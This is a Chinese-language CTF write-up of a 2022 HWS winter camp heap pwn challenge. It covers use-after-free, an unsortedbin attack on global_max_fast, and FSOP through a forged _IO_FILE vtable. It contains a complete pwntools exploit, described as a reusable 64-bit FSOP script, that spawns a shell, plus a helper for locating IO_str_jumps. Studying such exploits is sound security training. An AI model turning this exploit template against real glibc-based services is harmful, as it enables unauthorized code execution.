2022年hws硬件安全冬令营入营赛赛题复现。
签到题 签到题整的这么难
漏洞点 所有的free都是UAF,并且可以直接泄露libc,可以任意写unsortedbin一次。libc 2.27-3ubuntu1.2,可以tcache double free
但是堆操作、堆分配大小都受限。
一开始在获得libc之后就卡住了。因为一方面改freehook则free次数不够,另一方面打global max_fast之后改写free_hook也很困难,因为fastbin有大小检查,而且我们能够拿到的堆块大小只能是0x1000。
之后问了别的师傅,了解到伪造vtable打IO_file。这也是以前没有学习过的利用方式。
关于IO_FILE参考了这篇文章 还是写的很详细的。
unsortedbin attack 参考链接:
链接1 、链接2_ctfwiki
我们覆写global_max_fast,是因为以下代码。当将一个 unsorted bin 取出的时候,会将 bck->fd
的位置写入本 Unsorted Bin 的位置
1 2 3 4 5 if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3" ); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
使用如下payload,成功改掉global_max_fast。因为我们可以对global_max_fast直接写
1 payload = p64(main_arena) + p64(global_max_fast-0x10 )
fsop 接着用unsortedbin attack再去改IO_file结构体。
改之前
改之后。可以看到就改成了自己的堆地址。
然后通过在自己的堆结构里面伪造一个vtable。具体代码如下
1 2 fake_file = pack_file(_IO_read_base=IO_list_all-0x10 ,_IO_write_base=0 ,_IO_write_ptr=1 ,_IO_buf_base=binsh_addr,_mode=0 ,) fake_file+=p64(IO_str_jumps-8 )+p64(0 )+p64(system)
简要分析一下流程。首先输入构造的Unsortedbin之后,结构如下
unsortedbin attck能够写入_IO_list_all为之前本堆块地址(回顾unsortedbin attack相关代码)这就相当于劫持IO_file结构体并伪造。
之后
1 fake_file += p64(IO_str_jumps-8 )+p64(0 )+p64(system)
将vtable指针写成IO_str_jumps-8
,之后p64(0)和p64(system)就在vtable指针结构体里面了。这里关键就是IO_str_jumps-8
指向的是我们能够控制的地址。类似下图。只不过这里利用IO_str_jumps-8
完成了连续的输入。而且/bin/sh的位置也不太一样。
这里有一点比较关键,就是选择大小为0x1430。是要经过精确计算的。只有这样才能改到_IO_list_all指针处。因为我们改写了global_max_fast,因此会被当作smallbin,可以类似house of orange 触发fsop。具体的计算方法,可以先通过一个0x1000的块,找这个块被free之后位置,再找_IO_list_all
看一下偏移,再决定分配多少大小的块才能被unsortedbin attack放在io_file的位置。
之后就可以拿到一个shell
exp 64位fsop脚本,可以通用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from pwn import *io = process('./pwn' ) context.log_level='debug' elf=ELF('./pwn' ) libc = ELF('./libc-2.27.so' ) context.terminal = ['tmux' ,'split' ,'-hp' ,'60' ] def pack_file (_flags = 0 , _IO_read_ptr = 0 , _IO_read_end = 0 , _IO_read_base = 0 , _IO_write_base = 0 , _IO_write_ptr = 0 , _IO_write_end = 0 , _IO_buf_base = 0 , _IO_buf_end = 0 , _IO_save_base = 0 , _IO_backup_base = 0 , _IO_save_end = 0 , _IO_marker = 0 , _IO_chain = 0 , _fileno = 0 , _lock = 0 , _wide_data = 0 , _mode = 0 ): file_struct = p32(_flags) + \ p32(0 ) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88 , b"\x00" ) file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0 , b"\x00" ) file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0 , b'\x00' ) file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8 , b"\x00" ) return file_struct def debug (): cmd = "" cmd += "brva 0xB78\n" gdb.attach(io,cmd) io.recvuntil('what size?' ) io.sendline(str (0x1430 )) io.recvuntil('what size?' ) io.sendline(str (20480 )) io.recvuntil('Do you want to rename?(y/n)' ) io.sendline('y' ) main_arena = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success('main_arena: ' + hex (main_arena)) libc_base = main_arena - 0x3ebca0 success("libc_base " + hex (libc_base)) system = libc_base + libc.symbols['system' ] success("system: " + hex (system)) global_max_fast = libc_base+0x3ed940 success("global_max_fast: " + hex (global_max_fast)) IO_list_all = libc_base + libc.symbols['_IO_list_all' ] success("io_list_all: " + hex (IO_list_all)) IO_str_jumps = 0x3e8360 + libc_base payload = p64(main_arena) + p64(global_max_fast-0x10 ) binsh_addr = libc_base + libc.search(b"/bin/sh" ).__next__() debug() io.recvuntil('please input your new name!' ) io.sendline(payload) io.recvuntil('Do you want to edit big box or bigger box?(1:big/2:bigger)\n' ) io.sendline('1' ) io.recvuntil(':\n' ) fake_file = pack_file(_IO_read_base=IO_list_all-0x10 , _IO_write_base=0 , _IO_write_ptr=1 , _IO_buf_base=binsh_addr, _mode=0 ,) fake_file += p64(IO_str_jumps-8 )+p64(0 )+p64(system) io.sendline(fake_file[0x10 :]) io.interactive()
以下是find_jmp.py 直接运行即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *io = process('./pwn' ) context.log_level='debug' elf=ELF('./pwn' ) libc = ELF('./libc-2.27.so' ) context.terminal = ['tmux' ,'split' ,'-hp' ,'60' ] IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print (possible_IO_str_jumps_offset) break
grape